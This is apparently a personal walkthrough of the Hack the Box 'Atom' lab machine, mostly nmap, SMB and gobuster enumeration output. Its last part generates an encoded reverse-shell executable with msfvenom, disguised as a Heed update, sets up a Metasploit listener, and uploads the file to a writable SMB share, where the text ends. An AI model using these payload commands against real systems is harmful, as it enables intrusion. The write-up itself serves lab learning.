Hack the Box - Atom
Contents
Atom Overview
Box Details
IP | Difficulty | OS | Date Started | Date User Owned | Date Completed |
---|---|---|---|---|---|
10.10.10.237 | Medium | Windows | 2021-04-19 | 2021-06-02 | 2021-06-22 |
Atom was an interesting, but at times frustrating, box that involved pushing a malicious update file to an insecure Samba share, which exploited a CVE to get code execution on the box. Root involved finding some passwords in PortableKanban and Redis.
I liked the concept of this box, but it was super fiddly to execute and find the correct syntax. Situations like that frustrate me on Hack the Box, but I got there in the end. System involved a lot of poking around config files, which again isn’t my favourite challenge, but it is an important skill to have and I learned how to interact with Redis, a common service.
I rated User a 4 for difficulty, as the exploit was a little obscure and the hints weren’t explicit enough to not require extensive debugging (not that this is a bad thing, it just makes it harder). I rated root a 5 for difficulty, as it involved a lot of digging around and a few new tools I’d never used before.
Enumeration
autorecon
I fired off autorecon
first:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ autorecon 10.10.10.237
[*] Scanning target 10.10.10.237
[*] Running service detection nmap-full-tcp on 10.10.10.237
[*] Running service detection nmap-top-20-udp on 10.10.10.237
[*] Running service detection nmap-quick on 10.10.10.237
[!] Service detection nmap-top-20-udp on 10.10.10.237 returned non-zero exit code: 1
[*] [08:37:04] - There are 2 tasks still running on 10.10.10.237
[*] Service detection nmap-quick on 10.10.10.237 finished successfully in 1 minute, 1 second
[*] Found http on tcp/80 on target 10.10.10.237
[*] Found msrpc on tcp/135 on target 10.10.10.237
[*] Found ssl/http on tcp/443 on target 10.10.10.237
[*] Found microsoft-ds on tcp/445 on target 10.10.10.237
[!] [tcp/445/nbtscan] Scan cannot be run against tcp port 445. Skipping.
[*] Running task tcp/80/sslscan on 10.10.10.237
[*] Running task tcp/80/nmap-http on 10.10.10.237
[*] Running task tcp/80/curl-index on 10.10.10.237
[*] Running task tcp/80/curl-robots on 10.10.10.237
[*] Running task tcp/80/wkhtmltoimage on 10.10.10.237
[*] Running task tcp/80/whatweb on 10.10.10.237
[*] Running task tcp/80/nikto on 10.10.10.237
[*] Running task tcp/80/gobuster on 10.10.10.237
[*] Running task tcp/135/sslscan on 10.10.10.237
[*] Task tcp/80/sslscan on 10.10.10.237 finished successfully in less than a second
[*] Running task tcp/135/nmap-msrpc on 10.10.10.237
[*] Task tcp/135/sslscan on 10.10.10.237 finished successfully in less than a second
[*] Running task tcp/443/sslscan on 10.10.10.237
[*] Task tcp/80/curl-robots on 10.10.10.237 finished successfully in 1 second
[*] Task tcp/80/curl-index on 10.10.10.237 finished successfully in 1 second
[*] Running task tcp/443/nmap-http on 10.10.10.237
[*] Running task tcp/443/curl-index on 10.10.10.237
[*] Task tcp/443/curl-index on 10.10.10.237 finished successfully in less than a second
[*] Running task tcp/443/curl-robots on 10.10.10.237
[!] Task tcp/80/gobuster on 10.10.10.237 returned non-zero exit code: 1
[*] Running task tcp/443/wkhtmltoimage on 10.10.10.237
[*] Task tcp/443/curl-robots on 10.10.10.237 finished successfully in less than a second
[*] Running task tcp/443/whatweb on 10.10.10.237
[*] Task tcp/80/wkhtmltoimage on 10.10.10.237 finished successfully in 13 seconds
[*] Running task tcp/443/nikto on 10.10.10.237
[*] Task tcp/443/wkhtmltoimage on 10.10.10.237 finished successfully in 11 seconds
[*] Running task tcp/443/gobuster on 10.10.10.237
[!] Task tcp/443/gobuster on 10.10.10.237 returned non-zero exit code: 1
[*] Running task tcp/445/sslscan on 10.10.10.237
[*] Task tcp/445/sslscan on 10.10.10.237 finished successfully in less than a second
[*] Running task tcp/445/nmap-smb on 10.10.10.237
[*] Task tcp/443/sslscan on 10.10.10.237 finished successfully in 13 seconds
[*] Running task tcp/445/enum4linux on 10.10.10.237
[*] Task tcp/135/nmap-msrpc on 10.10.10.237 finished successfully in 24 seconds
[*] Running task tcp/445/smbclient on 10.10.10.237
[*] Task tcp/445/smbclient on 10.10.10.237 finished successfully in 1 second
[*] Running task tcp/445/smbmap-share-permissions on 10.10.10.237
[*] Task tcp/80/whatweb on 10.10.10.237 finished successfully in 28 seconds
[*] Running task tcp/445/smbmap-list-contents on 10.10.10.237
[*] Task tcp/80/nmap-http on 10.10.10.237 finished successfully in 30 seconds
[*] Running task tcp/445/smbmap-execute-command on 10.10.10.237
[*] Task tcp/443/whatweb on 10.10.10.237 finished successfully in 30 seconds
[*] Task tcp/445/enum4linux on 10.10.10.237 finished successfully in 23 seconds
[*] Task tcp/445/smbmap-execute-command on 10.10.10.237 finished successfully in 12 seconds
[*] Task tcp/445/smbmap-share-permissions on 10.10.10.237 finished successfully in 17 seconds
[*] Task tcp/445/smbmap-list-contents on 10.10.10.237 finished successfully in 14 seconds
[*] Task tcp/443/nmap-http on 10.10.10.237 finished successfully in 51 seconds
[*] [08:38:04] - There are 4 tasks still running on 10.10.10.237
[*] Task tcp/445/nmap-smb on 10.10.10.237 finished successfully in 1 minute, 45 seconds
[*] [08:39:04] - There are 3 tasks still running on 10.10.10.237
[*] [08:40:04] - There are 3 tasks still running on 10.10.10.237
[*] Service detection nmap-full-tcp on 10.10.10.237 finished successfully in 4 minutes, 48 seconds
[*] Found http on tcp/5985 on target 10.10.10.237
[*] Found redis on tcp/6379 on target 10.10.10.237
[*] Found pando-pub on tcp/7680 on target 10.10.10.237
[*] Running task tcp/5985/sslscan on 10.10.10.237
[*] Running task tcp/5985/nmap-http on 10.10.10.237
[*] Running task tcp/5985/curl-index on 10.10.10.237
[*] Running task tcp/5985/curl-robots on 10.10.10.237
[*] Running task tcp/5985/wkhtmltoimage on 10.10.10.237
[*] Running task tcp/5985/whatweb on 10.10.10.237
[*] Running task tcp/5985/nikto on 10.10.10.237
[*] Running task tcp/5985/gobuster on 10.10.10.237
[*] Task tcp/5985/sslscan on 10.10.10.237 finished successfully in less than a second
[*] Running task tcp/6379/sslscan on 10.10.10.237
[*] Task tcp/6379/sslscan on 10.10.10.237 finished successfully in less than a second
[*] Running task tcp/7680/sslscan on 10.10.10.237
[*] Task tcp/7680/sslscan on 10.10.10.237 finished successfully in less than a second
[*] Task tcp/5985/curl-robots on 10.10.10.237 finished successfully in 1 second
[*] Task tcp/5985/curl-index on 10.10.10.237 finished successfully in 1 second
[!] Task tcp/5985/gobuster on 10.10.10.237 returned non-zero exit code: 1
[!] Task tcp/5985/wkhtmltoimage on 10.10.10.237 returned non-zero exit code: 1
[*] Task tcp/5985/whatweb on 10.10.10.237 finished successfully in 9 seconds
[*] [08:41:04] - There are 4 tasks still running on 10.10.10.237
[*] [08:42:04] - There are 4 tasks still running on 10.10.10.237
[*] Task tcp/80/nikto on 10.10.10.237 finished successfully in 5 minutes, 34 seconds
[*] [08:43:04] - There are 3 tasks still running on 10.10.10.237
[*] Task tcp/5985/nmap-http on 10.10.10.237 finished successfully in 2 minutes, 19 seconds
[*] [08:44:04] - There are 2 tasks still running on 10.10.10.237
[*] [08:45:04] - There are 2 tasks still running on 10.10.10.237
[*] [08:46:04] - There are 2 tasks still running on 10.10.10.237
[*] [08:47:04] - There are 2 tasks still running on 10.10.10.237
[*] Task tcp/5985/nikto on 10.10.10.237 finished successfully in 7 minutes, 6 seconds
[*] [08:48:04] - There is 1 task still running on 10.10.10.237
[*] [08:49:04] - There is 1 task still running on 10.10.10.237
[*] [08:50:05] - There is 1 task still running on 10.10.10.237
[*] [08:51:05] - There is 1 task still running on 10.10.10.237
[*] [08:52:05] - There is 1 task still running on 10.10.10.237
[*] [08:53:05] - There is 1 task still running on 10.10.10.237
[*] Task tcp/443/nikto on 10.10.10.237 finished successfully in 16 minutes, 35 seconds
[*] Finished scanning target 10.10.10.237 in 17 minutes, 49 seconds
[*] Finished scanning all targets in 17 minutes, 49 seconds!
nmap
I then took a look at the nmap results.
Key Results
Open Ports:
- 80 (HTTP) - Running Apache
- 135 (Windows RPC)
- 443 (HTTPS) - Certificate does not expose Domain Name
- 445 (SMB)
- 5985 (WinRM)
- 6379 (Redis)
- 7680 (Windows Update Delivery Optimisation)
Service Info: Host: ATOM; OS: Windows; CPE: cpe:/o:microsoft:windows
Full Port Scan
┌──(mac㉿kali)-[~Documents/HTB/atom/results/10.10.10.237/scans]
└─$ cat _full_tcp_nmap.txt
# Nmap 7.91 scan initiated Mon Apr 19 08:36:05 2021 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /home/mac/results/10.10.10.237/scans/_full_tcp_nmap.txt -oX /home/mac/results/10.10.10.237/scans/xml/_full_tcp_nmap.xml 10.10.10.237
Nmap scan report for 10.10.10.237
Host is up, received user-set (0.029s latency).
Scanned at 2021-04-19 08:36:07 BST for 284s
Not shown: 65528 filtered ports
Reason: 65528 no-responses
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods:
| Supported Methods: GET POST OPTIONS HEAD TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
135/tcp open msrpc syn-ack Microsoft Windows RPC
443/tcp open ssl/http syn-ack Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods:
| Supported Methods: GET POST OPTIONS HEAD TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after: 2019-11-08T23:48:47
| MD5: a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0
| SHA-1: b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6
| -----BEGIN CERTIFICATE-----
| MIIBnzCCAQgCCQC1x1LJh4G1AzANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDEwls
| b2NhbGhvc3QwHhcNMDkxMTEwMjM0ODQ3WhcNMTkxMTA4MjM0ODQ3WjAUMRIwEAYD
| VQQDEwlsb2NhbGhvc3QwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMEl0yfj
| 7K0Ng2pt51+adRAj4pCdoGOVjx1BmljVnGOMW3OGkHnMw9ajibh1vB6UfHxu463o
| J1wLxgxq+Q8y/rPEehAjBCspKNSq+bMvZhD4p8HNYMRrKFfjZzv3ns1IItw46kgT
| gDpAl1cMRzVGPXFimu5TnWMOZ3ooyaQ0/xntAgMBAAEwDQYJKoZIhvcNAQEFBQAD
| gYEAavHzSWz5umhfb/MnBMa5DL2VNzS+9whmmpsDGEG+uR0kM1W2GQIdVHHJTyFd
| aHXzgVJBQcWTwhp84nvHSiQTDBSaT6cQNQpvag/TaED/SEQpm0VqDFwpfFYuufBL
| vVNbLkKxbK2XwUvu0RxoLdBMC/89HqrZ0ppiONuQ+X2MtxE=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds syn-ack Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6379/tcp open redis syn-ack Redis key-value store
7680/tcp open pando-pub? syn-ack
Service Info: Host: ATOM; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h30m58s, deviation: 4h02m30s, median: 10m57s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 58850/tcp): CLEAN (Timeout)
| Check 2 (port 38781/tcp): CLEAN (Timeout)
| Check 3 (port 39922/udp): CLEAN (Timeout)
| Check 4 (port 16707/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery:
| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: ATOM
| NetBIOS computer name: ATOM\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-04-19T00:51:10-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-04-19T07:51:11
|_ start_date: N/A
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 19 08:40:51 2021 -- 1 IP address (1 host up) scanned in 286.66 seconds
SMB Enumeration
Autorecon ran the following commands:
smbclient -L\\ -N -I 10.10.10.237 2>&1 | tee "/home/mac/results/10.10.10.237/scans/smbclient.txt"
smbmap -H 10.10.10.237 -P 445 2>&1 | tee -a "/home/mac/results/10.10.10.237/scans/smbmap-share-permissions.txt"; smbmap -u null -p "" -H 10.10.10.237 -P 445 2>&1 | tee -a "/home/mac/results/10.10.10.237/scans/smbmap-share-permissions.txt"
smbmap -H 10.10.10.237 -P 445 -R 2>&1 | tee -a "/home/mac/results/10.10.10.237/scans/smbmap-list-contents.txt"; smbmap -u null -p "" -H 10.10.10.237 -P 445 -R 2>&1 | tee -a "/home/mac/results/10.10.10.237/scans/smbmap-list-contents.txt"
smbmap -H 10.10.10.237 -P 445 -x "ipconfig /all" 2>&1 | tee -a "/home/mac/results/10.10.10.237/scans/smbmap-execute-command.txt"; smbmap -u null -p "" -H 10.10.10.237 -P 445 -x "ipconfig /all" 2>&1 | tee -a "/home/mac/results/10.10.10.237/scans/smbmap-execute-command.txt"
I’d not used much smbmap
myself, so I ran some of the commands manually to familiarise myself with how they worked.
┌──(mac㉿kali)-[~/Documents/HTB/atom/results]
└─$ smbmap -H 10.10.10.237 -P 445
[!] Authentication error on 10.10.10.237
┌──(mac㉿kali)-[~/Documents/HTB/atom/results]
└─$ smbmap -u null -p "" -H 10.10.10.237 -P 445
[+] Guest session IP: 10.10.10.237:445 Name: 10.10.10.237
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
Software_Updates READ, WRITE
Null authentication lets us list the shares on the box.
Autorecon also ran the following nmap
scan on port 445 to enumerate shares:
# Nmap 7.91 scan initiated Mon Apr 19 08:37:19 2021 as: nmap -vv --reason -Pn -sV -p 445 "--script=banner,(nbstat or smb* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" --script-args=unsafe=1 -oN /home/mac/results/10.10.10.237/scans/tcp_445_smb_nmap.txt -oX /home/mac/results/10.10.10.237/scans/xml/tcp_445_smb_nmap.xml 10.10.10.237
Nmap scan report for 10.10.10.237
Host is up, received user-set (0.024s latency).
Scanned at 2021-04-19 08:37:24 BST for 99s
PORT STATE SERVICE REASON VERSION
445/tcp open microsoft-ds syn-ack Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: ATOM; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.10.237\ADMIN$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Remote Admin
| Anonymous access: <none>
| Current user access: <none>
| \\10.10.10.237\C$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Default share
| Anonymous access: <none>
| Current user access: <none>
| \\10.10.10.237\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: Remote IPC
| Anonymous access: <none>
| Current user access: READ/WRITE
| \\10.10.10.237\Software_Updates:
| Type: STYPE_DISKTREE
| Comment:
| Anonymous access: <none>
|_ Current user access: READ/WRITE
| smb-ls: Volume \\10.10.10.237\Software_Updates
| SIZE TIME FILENAME
| <DIR> 2021-03-30T20:43:48 .
| <DIR> 2021-03-30T20:43:48 ..
| <DIR> 2021-04-19T07:47:04 client1
| <DIR> 2021-04-19T07:47:04 client2
| <DIR> 2021-04-19T07:47:04 client3
| 35202 2021-04-13T09:36:28 UAT_Testing_Procedures.pdf
|_
| smb-mbenum:
|_ ERROR: Call to Browser Service failed with status = 2184
| smb-os-discovery:
| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: ATOM
| NetBIOS computer name: ATOM\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-04-19T00:48:53-07:00
|_smb-print-text: false
| smb-protocols:
| dialects:
| NT LM 0.12 (SMBv1) [dangerous, but default]
| 2.02
| 2.10
| 3.00
| 3.02
|_ 3.11
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb2-capabilities:
| 2.02:
| Distributed File System
| 2.10:
| Distributed File System
| Leasing
| Multi-credit operations
| 3.00:
| Distributed File System
| Leasing
| Multi-credit operations
| 3.02:
| Distributed File System
| Leasing
| Multi-credit operations
| 3.11:
| Distributed File System
| Leasing
|_ Multi-credit operations
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-04-19T07:48:51
|_ start_date: N/A
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 19 08:39:03 2021 -- 1 IP address (1 host up) scanned in 104.11 seconds
This shows that two shares have read access, and that there are some files that we can get from the server, including a PDF.
gobuster
I ran a simple directory bust with gobuster
:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ gobuster dir -u http://10.10.10.237 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.237
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/04/19 14:20:36 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 338] [--> http://10.10.10.237/images/]
/.html (Status: 403) [Size: 302]
/.htm (Status: 403) [Size: 302]
/webalizer (Status: 403) [Size: 302]
/Images (Status: 301) [Size: 338] [--> http://10.10.10.237/Images/]
/. (Status: 200) [Size: 7581]
/phpmyadmin (Status: 403) [Size: 302]
/.htaccess (Status: 403) [Size: 302]
/examples (Status: 503) [Size: 402]
/.htc (Status: 403) [Size: 302]
/releases (Status: 301) [Size: 340] [--> http://10.10.10.237/releases/]
/IMAGES (Status: 301) [Size: 338] [--> http://10.10.10.237/IMAGES/]
/.html_var_DE (Status: 403) [Size: 302]
/licenses (Status: 403) [Size: 421]
/server-status (Status: 403) [Size: 421]
/.htpasswd (Status: 403) [Size: 302]
/con (Status: 403) [Size: 302]
/.html. (Status: 403) [Size: 302]
/.html.html (Status: 403) [Size: 302]
/.htpasswds (Status: 403) [Size: 302]
/.htm. (Status: 403) [Size: 302]
/.htmll (Status: 403) [Size: 302]
/.html.old (Status: 403) [Size: 302]
/Releases (Status: 301) [Size: 340] [--> http://10.10.10.237/Releases/]
/.ht (Status: 403) [Size: 302]
/.html.bak (Status: 403) [Size: 302]
/.htm.htm (Status: 403) [Size: 302]
/aux (Status: 403) [Size: 302]
/.hta (Status: 403) [Size: 302]
/.htgroup (Status: 403) [Size: 302]
/.html1 (Status: 403) [Size: 302]
/.html.printable (Status: 403) [Size: 302]
/.html.LCK (Status: 403) [Size: 302]
/prn (Status: 403) [Size: 302]
/.htm.LCK (Status: 403) [Size: 302]
/.htaccess.bak (Status: 403) [Size: 302]
/.html.php (Status: 403) [Size: 302]
/.htmls (Status: 403) [Size: 302]
/.htx (Status: 403) [Size: 302]
/server-info (Status: 403) [Size: 421]
/.htlm (Status: 403) [Size: 302]
/.htm2 (Status: 403) [Size: 302]
/.html- (Status: 403) [Size: 302]
/.htuser (Status: 403) [Size: 302]
===============================================================
2021/04/19 14:22:37 Finished
===============================================================
It didn’t find anything interesting.
Vhosts
I also ran a virtual host scan to see if there were any valid subdomains:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ gobuster vhost -u atom.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://atom.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/04/20 17:09:53 Starting gobuster in VHOST enumeration mode
===============================================================
===============================================================
2021/04/20 17:19:26 Finished
===============================================================
Nothing here either.
Website
The website seems to be a page for a note taking application called Heed.
There is a download link at the bottom of the page. Only the download for the Windows Version works.
It says the source is from codepen. I did a brief search of public pens: https://codepen.io/search/pens?q=heed - but I got no obvious results. There was also nothing interesting in the site source.
Besides the download link, no other pages seem to be linked from the main page. Gobuster also threw nothing up. The only interesting Gobuster result was the /examples
directory, which had a 503 status code.
I added a entry for atom.htb
to my hosts and visited that domain to see if there was a different page. Unfortunately the page stayed the same.
I also checked out the /releases
directory to see if there were any other versions of the code available:
There was a directory listing, but only the one file.
SMB
I tried manually connecting to SMB:
┌──(mac㉿kali)-[~/Documents/HTB/atom/results/10.10.10.237/scans]
└─$ smbclient -L 10.10.10.237 \\\\atom\\shares
Enter WORKGROUP\mac's password:
┌──(mac㉿kali)-[~/Documents/HTB/atom/results/10.10.10.237/scans]
└─$ smbclient -L 10.10.10.237 -U null -p "" \\\\atom\\shares
Enter WORKGROUP\null's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Software_Updates Disk
SMB1 disabled -- no workgroup available
Autorecon and nmap did a lot of scans, but I wanted to replicate the results so I understood how to read them. This is duplicated work, but I’d never used the service before.
I used smbmap
to review which shares are readable.
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ smbmap -H 10.10.10.237
[!] Authentication error on 10.10.10.237
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ smbmap -H 10.10.10.237 -u null -p ""
[+] Guest session IP: 10.10.10.237:445 Name: 10.10.10.237
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
Software_Updates READ, WRITE
So I can read the IPC$
share. Let’s try to connect to it:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ smbclient //10.10.10.237/IPC$
Enter WORKGROUP\mac's password:
Try "help" to get a list of possible commands.
smb: \> dir
NT_STATUS_INVALID_INFO_CLASS listing \*
Mounting the Share
I didn’t know what this error was, so I tried to mount the share instead.
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo mkdir /mnt/atom
[sudo] password for mac:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo mkdir /mnt/atom/IPC
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ sudo mount -t cifs //10.10.10.237/IPC$ /mnt/atom/IPC/
Password for root@//10.10.10.237/IPC$:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ ls /mnt/atom/IPC/
ls: reading directory '/mnt/atom/IPC/': Input/output error
Weird. A quick google of “ls input output error” suggests this is a ‘hardware issue’. ls
works on the rest of my filesystem, so I suspect it’s an incompatibility between Linux and Windows filesystems.
I tried the dmesg
command as suggested in the thread linked above:
┌──(mac㉿kali)-[~]
└─$ sudo dmesg
...[SNIP]...
[ 2405.593147] FS-Cache: Loaded
[ 2405.601885] Key type dns_resolver registered
[ 2405.799728] FS-Cache: Netfs 'cifs' registered for caching
[ 2405.813289] Key type cifs.spnego registered
[ 2405.813291] Key type cifs.idmap registered
[ 2405.813579] CIFS: Attempting to mount //10.10.10.237/IPC$
[ 2405.813593] CIFS: No dialect specified on mount. Default has changed to a more secure dialect, SMB2.1 or later (e.g. SMB3.1.1), from CIFS (SMB1). To use the less secure SMB1 dialect to access old servers which do not support SMB3.1.1 (or even SMB3 or SMB2.1) specify vers=1.0 on mount.
I guess I was correct. It seems that I need to specify the dialect. I will unmount and remount using this new command.
┌──(mac㉿kali)-[~]
└─$ sudo umount /mnt/atom/IPC
The results of the nmap scan on port 445 show that the Samba server supports dialects 2.02
and above:
| smb-protocols:
| dialects:
| NT LM 0.12 (SMBv1) [dangerous, but default]
| 2.02
| 2.10
| 3.00
| 3.02
|_ 3.11
So let’s remount using one of these. dmesg
suggested version 2.10:
┌──(mac㉿kali)-[~]
└─$ sudo mount -t cifs -o vers=2.1 //10.10.10.237/IPC$ /mnt/atom/IPC/
Password for root@//10.10.10.237/IPC$:
┌──(mac㉿kali)-[~]
└─$ ls /mnt/atom/IPC/
ls: reading directory '/mnt/atom/IPC/': Input/output error
I re-read the dmesg
and realised it suggested using SMB1 in conjunction with cifs
. So I unmounted and tried again:
┌──(mac㉿kali)-[/mnt/atom]
└─$ sudo umount /mnt/atom/IPC
┌──(mac㉿kali)-[/mnt/atom]
└─$ sudo mount -t cifs -o vers=1.0 //10.10.10.237/IPC$ /mnt/atom/IPC/
Password for root@//10.10.10.237/IPC$:
mount error(13): Permission denied
Refer to the mount.cifs(8) manual page (e.g. man mount.cifs) and kernel log messages (dmesg)
...[READING DMESG]...
[ 3053.910376] CIFS: Attempting to mount //10.10.10.237/IPC$
[ 3150.701746] CIFS: Attempting to mount //10.10.10.237/IPC$
[ 3150.701760] CIFS: VFS: Use of the less secure dialect vers=1.0 is not recommended unless required for access to very old servers
[ 3150.926735] CIFS: VFS: cifs_mount failed w/return code = -13
So it looks like it’s not going to be easy to mount this drive. Rather than trying to fix this error, I’ll just go back to smbclient
and fix that error.
Using smbclient
This page provides a little info on the NT_STATUS_INVALID_INFO_CLASS
error. It seems to be an incorrect parameter.
There were a few writeups online that mentioned the error, but I couldn’t find a solution in any of them. This writeup suggests just moving onto the next share - so that’s what I did.
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ smbclient //10.10.10.237/Software_Updates
Enter WORKGROUP\mac's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Tue Apr 20 16:52:03 2021
.. D 0 Tue Apr 20 16:52:03 2021
client1 D 0 Tue Apr 20 16:52:03 2021
client2 D 0 Tue Apr 20 16:52:03 2021
client3 D 0 Tue Apr 20 16:52:03 2021
UAT_Testing_Procedures.pdf A 35202 Fri Apr 9 12:18:08 2021
4413951 blocks of size 4096. 1349120 blocks available
smb: \>
That’s better. Hopefully the other share had nothing in it.
Exploring this share, there is nothing in any of the client
directories.
Let’s get that pdf we saw in the nmap scan:
smb: \> get UAT_Testing_Procedures.pdf
getting file \UAT_Testing_Procedures.pdf of size 35202 as UAT_Testing_Procedures.pdf (243.8 KiloBytes/sec) (average 243.8 KiloBytes/sec)
smb: \> exit
It has some interesting information:
It suggests that the current application does not interact with a server at all, but that there is a server active. Perhaps there is an API on the domain that we can interact with.
It also suggests uploading an exe
file to one of the client
directories on Samba will cause the QA team
to run it. So if we can create a malicious exe
we might be able to get a shell.
Generating a Payload
Let’s use msfvenom to make a malicious exe.
The nmap scan tells us it’s 64-bit windows. I tried the same command as in the OffSec article but replaced the exe name with one that looked like an updated version of Heed.
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=10.10.14.167 LPORT=9001 -b "\x00" -e x86/shikata_ga_nai -f exe -o "heedv1 Setup 1.0.1.exe"
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: heedv1 Setup 1.0.1.exe
I then setup a listener using the handler
module so I could be sure its settings matched the shellcode:
┌──(mac㉿kali)-[~/Documents/HTB/atom/heed_source]
└─$ msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > set LPORT 9001
LPORT => 9001
msf6 exploit(multi/handler) > set LHOST tun0
LHOST => 10.10.14.167
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.14.167:9001
I then logged into the SMB server again and put
my file:
┌──(mac㉿kali)-[~/Documents/HTB/atom]
└─$ smbclient //10.10.10.237/Software_Updates
Enter WORKGROUP\mac's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Wed Apr 21 21:00:02 2021
.. D 0 Wed Apr 21 21:00:02 2021
client1 D 0 Wed Apr 21 21:00:02 2021
client2 D 0 Wed Apr 21 21:00:02 2021
client3 D 0 Wed Apr 21 21:00:02 2021
UAT_Testing_Procedures.pdf A 35202 Fri Apr 9 12:18:08 2021
4413951 blocks of size 4096. 1343700 blocks available
smb: \> cd client1
smb: \client1\> dir
. D 0 Wed Apr 21 21:00:43 2021
.. D 0 Wed Apr 21 21:00:43 2021
4413951 blocks of size 4096. 1343670 blocks available
smb: \client1\> put "heedv1 Setup 1.0.1.exe"
